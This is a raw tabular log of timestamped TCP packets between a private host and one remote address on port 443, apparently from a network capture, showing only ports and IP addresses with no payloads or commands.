Nov 19, 2024 22:06:59.819468975 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.819487095 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.819499016 CET	49779	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.819504976 CET	443	49779	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.821288109 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.821372032 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.821441889 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.821543932 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.821563959 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.892735958 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.893079996 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.893145084 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.893517017 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.893531084 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.905479908 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.905791044 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.905850887 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.905894995 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.905922890 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.905955076 CET	49780	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.905968904 CET	443	49780	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.907623053 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.907658100 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.907720089 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.907831907 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.907839060 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.916517973 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.916853905 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.916927099 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.917135954 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.917135954 CET	49781	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.917170048 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.917193890 CET	443	49781	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.918868065 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.918948889 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:59.919078112 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.919205904 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:59.919238091 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.068120956 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.068591118 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.068664074 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.069124937 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.069139004 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.076440096 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.076591015 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.076766968 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.076766968 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.076766968 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.079016924 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.079045057 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.079119921 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.079231024 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.079236984 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.104651928 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.105046034 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.105092049 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.105427980 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.105442047 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.191019058 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.191360950 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.191379070 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.191786051 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.191792011 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.200726032 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.201045036 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.201071978 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.201565981 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.201576948 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.253154993 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.253525019 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.253611088 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.253684044 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.253684044 CET	49783	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.253719091 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.253742933 CET	443	49783	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.255971909 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.256076097 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.256156921 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.256280899 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.256309032 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.288645029 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.288839102 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.288913965 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.288961887 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.288990021 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.289043903 CET	49784	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.289073944 CET	443	49784	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.291125059 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.291166067 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.291239977 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.291328907 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.291338921 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.365536928 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.366493940 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.366503954 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.366889954 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.366894007 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.374552965 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.374701023 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.374775887 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.374799967 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.374814034 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.374825954 CET	49785	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.374833107 CET	443	49785	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.377530098 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.377566099 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.377656937 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.377774954 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.377796888 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.380297899 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.380459070 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.380522966 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.380585909 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.380585909 CET	49786	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.380624056 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.380646944 CET	443	49786	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.381411076 CET	49782	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.381486893 CET	443	49782	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.382534981 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.382580042 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.382754087 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.382862091 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.382873058 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.531074047 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.533869028 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.533927917 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.534430981 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.534445047 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.546072960 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.546222925 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.546287060 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.546438932 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.546456099 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.546480894 CET	49787	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.546487093 CET	443	49787	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.548979998 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.549062014 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.549144030 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.549263954 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.549297094 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.584794998 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.585262060 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.585284948 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.585618973 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.585624933 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.662236929 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.665479898 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.673379898 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.673414946 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.673753977 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.673765898 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.674032927 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.674055099 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.674582958 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.674588919 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.712095022 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.712155104 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.712388039 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.712435961 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.712435961 CET	49788	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.712467909 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.712491035 CET	443	49788	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.715044975 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.715073109 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.715143919 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.715253115 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.715256929 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.769795895 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.769992113 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.770062923 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.770097971 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.770097971 CET	49789	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.770116091 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.770127058 CET	443	49789	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.772836924 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.772891045 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.772969007 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.773077965 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.773097038 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.831880093 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.832420111 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.832454920 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.833134890 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.833146095 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.845805883 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.846014023 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.846291065 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.846333981 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.846333981 CET	49790	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.846370935 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.846390963 CET	443	49790	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.848485947 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.848499060 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.848583937 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.848706961 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.848716021 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.849494934 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.849920988 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.849981070 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.850017071 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.850017071 CET	49791	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.850033998 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.850052118 CET	443	49791	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.852113962 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.852155924 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:00.852231979 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.852346897 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:00.852376938 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.002860069 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.003431082 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.003438950 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.003868103 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.003871918 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.013838053 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.014053106 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.014355898 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.014357090 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.014357090 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.017059088 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.017100096 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.017175913 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.017297983 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.017307997 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.054147959 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.054589033 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.054666042 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.054955006 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.054969072 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.137161016 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.137667894 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.137727022 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.138278008 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.138290882 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.138689995 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.139132977 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.139143944 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.140037060 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.140042067 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.226612091 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.226810932 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.226871014 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.226913929 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.226929903 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.226952076 CET	49793	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.226960897 CET	443	49793	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.229054928 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.229111910 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.229218006 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.229347944 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.229361057 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.235230923 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.235426903 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.235490084 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.235543966 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.235543966 CET	49794	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.235579014 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.235600948 CET	443	49794	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.237317085 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.237353086 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.237415075 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.237510920 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.237520933 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.298803091 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.299355984 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.299377918 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.299829006 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.299834967 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.318727970 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.318916082 CET	49792	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.318941116 CET	443	49792	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.318949938 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.319016933 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.319071054 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.319089890 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.319103003 CET	49795	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.319109917 CET	443	49795	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.319518089 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.319736004 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.321254015 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.321291924 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.321324110 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.321357965 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.321357965 CET	49796	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.321382046 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.321404934 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.321407080 CET	443	49796	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.321516991 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.321541071 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.323193073 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.323220968 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.323285103 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.323419094 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.323436975 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.490154982 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.490345001 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.490869045 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.492671013 CET	49797	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.492691994 CET	443	49797	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.497934103 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.498004913 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.498898029 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.500874043 CET	49802	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.500910044 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.505747080 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.506114960 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.506175041 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.520102024 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.522180080 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.522233009 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.568887949 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.569329977 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.569341898 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.569690943 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.569696903 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.605772972 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.607119083 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.607147932 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.607475996 CET	49800	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.607486963 CET	443	49800	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.608834982 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.611056089 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.611114979 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.611344099 CET	49801	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.611357927 CET	443	49801	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.696772099 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.696899891 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.696991920 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.701787949 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.701947927 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.702024937 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.767796993 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.767863035 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.767924070 CET	49798	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.767940998 CET	443	49798	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.772176981 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.772209883 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.772224903 CET	49799	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:01.772233009 CET	443	49799	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.784992933 CET	443	49802	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:01.788326025 CET	443	49800	13.107.246.40	192.168.2.4
